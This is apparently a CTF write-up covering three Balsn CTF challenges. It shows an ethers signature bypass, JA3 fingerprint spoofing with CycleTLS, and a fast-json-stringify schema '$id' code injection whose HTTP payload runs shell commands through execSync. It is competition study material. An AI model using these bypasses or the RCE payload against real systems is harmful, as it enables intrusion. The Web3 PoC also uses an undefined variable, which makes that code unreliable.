● Web3 (misc)
You can find below code in "/" endpoint.
const express = require("express");
const ethers = require("ethers");
const path = require("path");
const app = express();
app.use(express.urlencoded());
app.use(express.json());
app.get("/", function(_req, res) {
res.send("Hello")
});
function isValidData(data) {
if (/^0x[0-9a-fA-F]+$/.test(data)) {
return true;
}
return false;
}
app.post("/exploit", async function(req, res) {
try {
const message = req.body.message;
const signature = req.body.signature;
if (!isValidData(signature) || isValidData(message)) {
res.send("wrong data");
return;
}
const signerAddr = ethers.verifyMessage(message, signature);
if (signerAddr === ethers.getAddress(message)) {
const FLAG = process.env.FLAG || "get flag but something wrong, please contact admin";
res.send(FLAG);
return;
}
} catch (e) {
console.error(e);
res.send("error");
return;
}
res.send("wrong");
return;
});
const port = process.env.PORT || 3000;
app.listen(port);
console.log(`Server listening on port ${port}`);
The point is whether you can make a new message and signature by using ethers library of nodeJS.
Just watch official Document and make your own message and signature.
PoC
const ethers = require('ethers')
async function main() {
let acc=ethers.Wallet.createRandom()
msg=ethers.getIcapAddress(acc.address)
let sign = await acc.signMessage(mess)
fetch('http://web3.balsnctf.com:3000/exploit', {
method: "POST",
headers : {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: `message=${msg}&signature=${sign}`,
}).then((res) => res.json()).then(d=>console.log("result:", d))
}
main()
● 0FA
Chall's code is pretty simple.
// config.php
<?php
define("FINGERPRINT", "771,4866-4865-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,23-65281-10-11-35-16-5-13-18-51-45-43-27-17513,29-23-24,0");
$flag = 'BALSN{fake_flag}';
function fingerprint_check() {
if($_SERVER['HTTP_SSL_JA3'] !== FINGERPRINT)
die("Login Failed!");
}
FINGERPRINT is defined and check whether it is correct, in request header. In normal way, we can't bypass "fingerprint_check". But we always find the solution.
reference : https://github.com/Danny-Dasilva/CycleTLS
I searched "fake ja3 github" in google and then found this. Use above code with just a few modifications.
PoC
// ref : https://github.com/Danny-Dasilva/CycleTLS
const initCycleTLS = require('cycletls');
// Typescript: import initCycleTLS from 'cycletls';
(async () => {
// Initiate CycleTLS
const cycleTLS = await initCycleTLS();
// Send request
const response = await cycleTLS('https://0fa.balsnctf.com:8787/flag.php', {
body: 'username=admin',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
ja3: '771,4866-4865-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,23-65281-10-11-35-16-5-13-18-51-45-43-27-17513,29-23-24,0',
userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36',
}, 'post');
console.log(response);
// Cleanly exit CycleTLS
cycleTLS.exit();
})();
● SaaS
// default.conf
server {
listen 80 default_server;
return 404;
}
server {
server_name *.saas;
if ($http_host != "easy++++++") { return 403 ;}
location ~ {
proxy_pass http://backend:3000;
}
}
We should modify Host header to "easy++++++" and send request to "*.saas" to use backend API.
const validatorFactory = require('@fastify/fast-json-stringify-compiler').SerializerSelector()()
const fastify = require('fastify')({
logger: true,
})
const {v4: uuid} = require('uuid')
const FLAG = 'the old one'
const customValidators = Object.create(null, {}) // no more p.p.
const defaultSchema = {
type: 'object',
properties: {
pong: {
type: 'string',
},
},
}
fastify.get(
'/',
{
schema: {
response: {
200: defaultSchema,
},
},
},
async () => {
return {pong: 'hi'}
}
)
fastify.get('/whowilldothis/:uid', async (req, resp) => {
const {uid} = req.params
const validator = customValidators[uid]
console.log("Validator: ", validator)
if (validator) {
return validator({[FLAG]: 'congratulations'})
} else {
return {msg: 'not found'}
}
})
fastify.post('/register', {}, async (req, resp) => {
// can only access from internal.
const nid = uuid()
const schema = Object.assign({}, defaultSchema, req.body)
customValidators[nid] = validatorFactory({schema})
return {route: `/whowilldothis/${nid}`}
})
fastify.listen({port: 3000, host: '0.0.0.0'}, function (err, address) {
if (err) {
fastify.log.error(err)
process.exit(1)
}
// Server is now listening on ${address}
})
Flag is located in "/flag" path. We can notice through the message "no more p.p", this chall is about Prototype Pollution Attack.
There is no way to exploit when system only uses "Object.create({}, null)". But this chall also use fastify, so we can trigger Prototype Pollution and RCE.
When I solved this problem, I didn't understand fastify very well, so I ran the problem code locally myself.
huh? I've never defined a function and named it as "anonymous0". I thought it's weird, so looked up the code.
reference : https://github.com/fastify/fast-json-stringify/blob/v5.8.0/index.js#L130
First :
The value that the main function returns is different depending on value of "code". We should enter Line_136 to trigger rce with the payload "cat /flag" and run the payload through Line_182. To do this, the code value should not be 'json + anonymous0(input)'.
After comparing the "code" variable to the ' json + anonymous0(input) ' value, it defines a contextFunctionCode and subsequently execute this code. The point is it executes contextFunc.
It seems possible to get flag from this part. Make a payload triggering RCE, and just input it in here.
Second :
The value of "code" is defined by buildValue() function. Let's check it out.
We can figure out that the only useful code is "addIfThenElse" function.
It checks property of "if" and "then". And it also checks ${ifSchemaRef} and input when return its value. Check ifSchemaRef.
The function checks schema's id. So we have to define 3 things, id, if and then.
Define an "id" to avoid the code becoming a " json + anonymous0(input) ", "if" to trigger RCE(cat /flag).
( We don't have to define then, because we had everything we need )
We finally check all points. Let's make a brilliant payload!
PoC
POST http://a.saas/register HTTP/1.1
Host: easy++++++
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 0
{"$id":"asdfasdf\"+process.mainModule.require('child_process').execSync(atob('Y2F0IC9mbGFn'))+\"", "if":{"a":"b"}, "then":{}}
GET http://a.saas/whowilldothis/16110d19-ddad-4bfb-b292-519429423239 HTTP/1.1
Host: easy++++++
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close